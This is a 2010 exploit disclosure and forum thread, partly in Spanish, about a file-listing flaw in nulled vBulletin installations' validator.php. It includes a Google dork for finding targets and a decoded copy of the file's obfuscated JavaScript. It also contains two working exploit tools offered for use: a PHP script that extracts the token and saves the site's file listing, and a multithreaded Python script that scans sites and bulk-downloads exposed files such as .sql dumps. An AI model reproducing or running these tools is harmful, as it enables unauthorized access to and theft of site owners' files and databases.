*\-----------------------------------------------------------------------------/*
____ _ _ _ _ (nulled)
| _ \ | | | | | (_)
__ _| |_) |_ _| | | ___| |_ _ _ __
\ \ / / _ <| | | | | |/ _ \ __| | '_ \
\ V /| |_) | |_| | | | __/ |_| | | | |
\_/ |____/ \__,_|_|_|\___|\__|_|_| |_|
Full disclosure...
*\-----------------------------------------------------------------------------/*
Name: vBulletin nulled (validator.php) files/directories disclosure
Author: TinKode
Date: 19-01-2010
Dork: "inurl:validator.php"
*\-----------------------------------------------------------------------------/*
Description: With this file you can see all files(.sql - .tar.gz - .zip - .rar - .php - .anything) / directories from the folder with vBulletin i
nstalled...
*\-----------------------------------------------------------------------------/*
Exploit: http://www.website.com/vB_forum/validator.php
*\-----------------------------------------------------------------------------/*
Note: Work on many nulled versions (maybe all)
*\-----------------------------------------------------------------------------/*
Copyrights: http://tinkode.baywords.com
*\-----------------------------------------------------------------------------/*
Greetz: http://www.insecurity.ro, http://www.darkc0de.com
*\-----------------------------------------------------------------------------/*
No entendí :s hay que subirlo al servidor donde está vb? No quedaría en las mismas?
The vBulletin nulled (all versions) have this file, and which you can see all files / directories from the folder with vB installed!
ex: http://www.vBteam.info/validator.php
No puedes escribir en español?, ps no pasa nada si el exploit esta en cualquier idioma, pero las opiniones en español.
I use google translate to understant Spanish Language! :)
And it's much easy to reply in english! :)
Pero puedo responder en español :)) --> good? :))
leete las reglas xDD.
pero que pasa con ese archivo? no todos los vbulletin lo tienen!
http://www.vbulletin.com.mx/validator.php
Vulnerability even thouggh it has good solution allthough it is easy to get a patch greetings and learn Spanish although English is better jajaj.
http://news.softpedia.com/news/Unlicensed-vBulletin-Installations-in-Danger-132863.shtml
jajaja good.
El archivo validator.php que se encontraba en la mayoría de las instalaciones de vbulletín lo que hace es validad archivo por archivo en el directorio de instalación y al final del checkeo te muestra todo, sea parte del sistema o no, por lo tanto si es peligroso porque si mantienes un archivo oculto o no quieres que se vea algún directorio de administración eso significa que aparecerá en esa lista.
Solo basta don darle click al botón y listo.
Normalmente este tipo de cosas deberían estar en el directorio de administración y no publico.
Bueno, nada es perfecto, algunos piensan que vbulletin por ser de pago es mejor que uno gratuito.
Bueno, hagamos una prueba de concepto (PoC) porque a veces si son muchos archivos puede causar la sobrecarga del explorador.
Al ver el código fuente desde tu explorador en el validator.php verás algo como esto:
Citar<script type="text/javascript">
var enkripsi="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'1A'03//'2C--'02Amfg'02`{'02Gtkn@'2C--'02Rn2z'02fml'05v'02pgwqg'02ukvjmwv'02cqikle'2C--'02mp'02K'02okejv'02jcz2p'02{mw'03'2Ctcp'02zonJvvr'2C'2Cdwlavkml'02tcnkfcvg'0:qvp'0;'2C'5@'02'2CzonJvvr'1FEgvZonJvvrM`hgav'0:'0;'1@'2Ckd'02'0:zonJvvr'1F'1Flwnn'0;'2C'02'02'5@'2C'02'02cngpv'02'0:'00[mwp'02`pmuqgp'02fmgq'02lmv'02qwrrmpv'02CHCZ'03'00'0;'1@'2C'02'02pgvwpl'1@'2C'02'02'5F'02'2C'02'02fmawoglv,egvGngoglv@{Kf'0:'00amlvglv'00'0;,kllgpJVON'1F'05'1Ar'1G'04l`qr'1@'1A-r'1G'1Ar'1G'04l`qr'1@'1A-r'1G'05'2C'02'02)'05'1Aaglvgp'1GTcnkfcvkle'02Pgngcqg'1A`p'02-'1G'1Akoe'02qpa'1F'00tcnkfcvmp,rjr'1Dkldm'1Fkoe'00'02cnv'1F'00Nmcfkle,,,'00'02-'1G'1A-aglvgp'1G'05'1@'2Ctcp'02wpn'1F'00tcnkfcvmp,rjr'00'1@'2Cwpn'1Fwpn)'00'1Dmr'1F'00)qvp'1@'2Cwpn'1Fwpn)'00'04qkf'1F'00)Ocvj,pclfmo'0:'0;'1@'2CzonJvvr,mlpgcf{qvcvgajcleg'1FqvcvgAjclegf'1@'2CzonJvvr,mrgl'0:'00EGV'00'0Awpn'0Avpwg'0;'1@'2CzonJvvr,qglf'0:lwnn'0;'1@'2C'5F'2C'2C'2Cdwlavkml'02qvcvgAjclegf'0:'0;'02'2C'5@'02'2Ckd'02'0:zonJvvr,pgcf{Qvcvg'1F'1F6'0;'2C'5@'02'2Cfmawoglv,egvGngoglv@{Kf'0:'00amlvglv'00'0;,kllgpJVON'1FzonJvvr,pgqrmlqgVgzv'1@'2C'5F'2C'5F'2C'2Cdwlavkml'02EgvZonJvvrM`hgav'0:'0;'2C'5@'2Ctcp'02zonJvvr'1Flwnn'1@'2Cvp{'2C'02'02'5@'2C'02'02--'02Dkpgdmz'0A'02Mrgpc'02:,2)'0A'02Qcdcpk'2C'02'02zonJvvr'1Flgu'02ZONJvvrPgswgqv'0:'0;'1@'2C'02'02'5F'2Cacvaj'02'0:g'0;'2C'02'02'5@'2C'02'02--'02Klvgplgv'02Gzrnmpgp'2C'02'02vp{'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Oqzon0,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02acvaj'02'0:g'0;'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Okapmqmdv,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02'5F'2Cpgvwpl'02zonJvvr'1@'2C'5F'2C--//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
</head>
<body>
<h2>DGT Release Checker</h2>
<div align="center" id="content"><br /><br /><p>Click the button below to ensure this is an official DGT release:<br /><button onclick="validate('4a1eebaa644e71d6b0ef4209881bd9f0')">Validate</button></p></div></body>
Lo puse citado y no como texto para que no se cause un overflow y se pueda ver todo.
Ahora si enviamos la petición y observamos desde el complemento live header de firefox vemos:
http://foro/validator.php?op=4a1eebaa644e71d6b0ef4209881bd9f0&sid=0.40952314391169486
Por lo tanto de donde sacamos ese hash?, del mismo script pero si queremos hacer una automatización debemos ser capaces de descifrar el contenido desde otro lenguaje:
Cifrado original:
var enkripsi="HASH";
teks="";
teksasli="";
var panjang;
panjang=enkripsi.length;
for (i=0;i<panjang;i++){
teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
}
teksasli=unescape(teks);
document.write(teksasli);
Ahora podemos ver algo como esto:
<script type="text/javascript">
<!--
// Code by EvilB
// Pl0x don't reuse without asking
// or I might hax0r you!
var xmlHttp
function validate(str)
{
xmlHttp=GetXmlHttpObject();
if (xmlHttp==null)
{
alert ("Your browser does not support AJAX!");
return;
}
document.getElementById("content").innerHTML='<p> </p><p> </p>'
'<center>Validating Release<br /><img src="validator.php?info=img" alt="Loading..." /></center>';
var url="validator.php";
url=url "?op=" str;
url=url "&sid=" Math.random();
xmlHttp.onreadystatechange=stateChanged;
xmlHttp.open("GET",url,true);
xmlHttp.send(null);
}
function stateChanged()
{
if (xmlHttp.readyState==4)
{
document.getElementById("content").innerHTML=xmlHttp.responseText;
}
}
function GetXmlHttpObject()
{
var xmlHttp=null;
try
{
// Firefox, Opera 8.0 , Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
//-->
</script>
O sea que ocultan una función que lo único que hace es tomar la variable enviada por el form y pasarla por variable de la petición y la segunda variable enviada corresponde a un valor al azar que seguramente se utiliza para evitar caché, asi que despues de hacernos perder el tiempo durante 1 minuto podemos hacer la prueba de concepto:
<?php
error_reporting(0);
echo "
VBulletin Full Disclosure exploit by WHK (Original: http://tinkode.baywords.com)
";
if(!$argv[1]){
echo "Uso: ".$argv[0]." http://ejemplo.com/foro/ \n";
exit;
}
echo "Extracting HTML content ...\n";
if(!$buffer = file_get_contents($argv[1].'validator.php')){
echo "validator.php not found.\n";
exit;
}
echo "Find Token ...\n";
if(!$hash = desde_hasta('onclick="validate(\'', '\')">', $buffer)){
echo "Token not found.\n";
exit;
}
echo "Obtaining files ...\n";
if(!$buffer = file_get_contents($argv[1].'validator.php?op='.urlencode($hash))){
echo "Files not found.\n";
exit;
}
echo "Organizing files ...\n";
if(!$archivos = desde_hasta('<td>', '</td>', $buffer, false, true)){
echo "Impossible to organize. Original Saving ...\n";
}else{
$buffer = print_r($archivos, true);
echo "Saving ...\n";
}
if(!guardar_archivo('archivos.txt', $buffer)){
echo "impossible to save, shows ...\n";
print_r($buffer);
exit;
}else{
echo "completed!, the file has been stored in archivos.txt\n";
}
exit;
function desde_hasta($desde, $hasta, $contenido, $cantidad = false, $retornar_todo = false){
if(count(explode($desde ,$contenido)) > 0 ){
$retorno = explode($desde, $contenido);
foreach($retorno as $compara){
$compara = explode($hasta, $compara);
if($compara = $compara[0])
$retorna[] = $compara;
unset($compara);
}
if($retornar_todo){
unset($retorna[0]);
return $retorna;
}
if(is_numeric($cantidad)){
$retorno = $retorna[$cantidad];
}else{
$retorno = $retorna[1];
}
return $retorno;
}else{
return false;
}
}
function guardar_archivo($ruta, $contenido){
if(!$handle = @fopen($ruta, 'x'))
return false;
fwrite($handle, $contenido);
fclose($handle);
return true;
}
?>
Se ve algo como esto:
(http://i.elhacker.net/i?i=bokK0j-GvbQSetiWEB3HzWVo)
(http://i.elhacker.net/i?i=K72taWN6nwQHj1r9Wm7poWVo)
Thanks! :D
(http://i49.tinypic.com/14xcq5t.jpg)
#! /usr/bin/env python3.1
#
################################################################
# ____ _ _ _ _ (validator.php) #
# | _ \ | | | | | (_) #
# __ _| |_) |_ _| | | ___| |_ _ _ __ #
# \ \ / / _ <| | | | | |/ _ \ __| | '_ \ #
# \ V /| |_) | |_| | | | __/ |_| | | | | #
# \_/ |____/ \__,_|_|_|\___|\__|_|_| |_| #
# @expl0it... #
################################################################
# [ vBulletin Files / Directories Full Disclosure ] #
# [ Vuln discovered by TinKode / xpl0it written by cmiN ] #
# [ Greetz: insecurity.ro, darkc0de.com ] #
################################################################
# #
# Special thanks for: cmiN #
# www.TinKode.BayWords.com #
################################################################
import os, sys, urllib.request, urllib.parse, threading
def main():
logo = """
\t |---------------------------------------------------------------|
\t | ____ _ _ _ _ (TM) |
\t | | _ \ | | | | | (_) |
\t | __ _| |_) |_ _| | | ___| |_ _ _ __ |
\t | \ \ / / _ <| | | | | |/ _ \ __| | '_ \ |
\t | \ V /| |_) | |_| | | | __/ |_| | | | | |
\t | \_/ |____/ \__,_|_|_|\___|\__|_|_| |_| |
\t | |
\t | vBulletin Full Disclosure expl0it |
\t | Written by cmiN |
\t | Vulnerability discovered by TinKode |
\t | |
\t | Dork: intext:"Powered by vBulletin" |
\t | Visit: www.insecurity.ro & www.darkc0de.com |
\t |---------------------------------------------------------------|
"""
usage = """
|---------------------------------------------------------------|
|Usage: vbfd.py scan http://www.site.com/vB_folder |
| vbfd.py download *.sql -> all |
| vbfd.py download name.jpg -> one |
|---------------------------------------------------------------|"""
if sys.platform in ("linux", "linux2"):
clearing = "clear"
else:
clearing = "cls"
os.system(clearing)
print(logo)
args = sys.argv
if len(args) == 3:
try:
print("Please wait...")
if args[1] == "scan":
extract_parse_save(args[2].strip("/"))
elif args[1] == "download":
download_data(args[2])
except Exception as message:
print("An error occurred: {}".format(message))
except:
print("Unknown error.")
else:
print("Ready!")
else:
print(usage)
input()
def extract_parse_save(url):
print("[+]Extracting content...")
hurl = url + "/validator.php"
with urllib.request.urlopen(hurl) as usock:
source = usock.read().decode()
print("[+]Finding token...")
word = "validate('"
source = source[source.index(word) + len(word):]
value = source[:source.index("'")]
print("[+]Obtaining paths...")
hurl = url + "/validator.php?op={}".format(value)
with urllib.request.urlopen(hurl) as usock:
lastk, lastv = None, None
dictionary = dict()
for line in usock:
line = line.decode()
index = line.find("<td>")
if index != -1:
lastk = line[index + 4:line.index("</td>")].strip(" ")
index = line.find("<strong>")
if index != -1:
lastv = line[index + 8:line.index("</strong>")].strip(" ")
if lastk != None and lastv != None:
index = lastk.rfind(".")
if index in (-1, 0):
lastk = "[other] {}".format(lastk)
else:
lastk = "[{}] {}".format(lastk[index + 1:], lastk)
dictionary[lastk] = lastv
lastk, lastv = None, None
print("[+]Organizing and saving paths...")
with open("vBlogs.txt", "w") as fout:
fout.write(url + "\n")
keys = sorted(dictionary.keys())
for key in keys:
fout.write("{} ({})\n".format(key, dictionary[key]))
def download_data(files):
print("[+]Searching and downloading files...")
mthreads = 50
with open("vBlogs.txt", "r") as fin:
url = fin.readline().strip("\n")
if files.find("*") == -1:
hurl = url + "/" + files.strip("/")
Download(hurl).start()
else:
ext = files[files.rindex(".") + 1:]
for line in fin:
pieces = line.strip("\n").split(" ")
if pieces[0].count(ext) == 1:
upath = pieces[1]
hurl = url + "/" + upath.strip("/")
while threading.active_count() > mthreads:
pass
Download(hurl).start()
while threading.active_count() > 1:
pass
class Download(threading.Thread):
def __init__(self, url):
threading.Thread.__init__(self)
self.url = url
def run(self):
try:
with urllib.request.urlopen(self.url) as usock:
data = usock.read()
uparser = urllib.parse.urlparse(usock.geturl())
pieces = uparser.path.split("/")
fname = pieces[len(pieces) - 1]
with open(fname, "wb") as fout:
fout.write(data)
except:
pass
if __name__ == "__main__":
main()
Exactly what is your problem. WHK already published a code that works well.
Your exploits in Python stops either because it has cycled indefinitely in the for, or that the variable is usock, not completing the connection
print("[+]Obtaining paths...")
hurl = url + "/validator.php?op={}".format(value)
with urllib.request.urlopen(hurl) as usock:
lastk, lastv = None, None
dictionary = dict()
for line in usock:
Anyway I hope you do run the exploit, you could debug a bit to see what values are getting the variables, I mean line to line print what you are doing your "exploit" to see where it stops
Regards
he has no problems, just want to share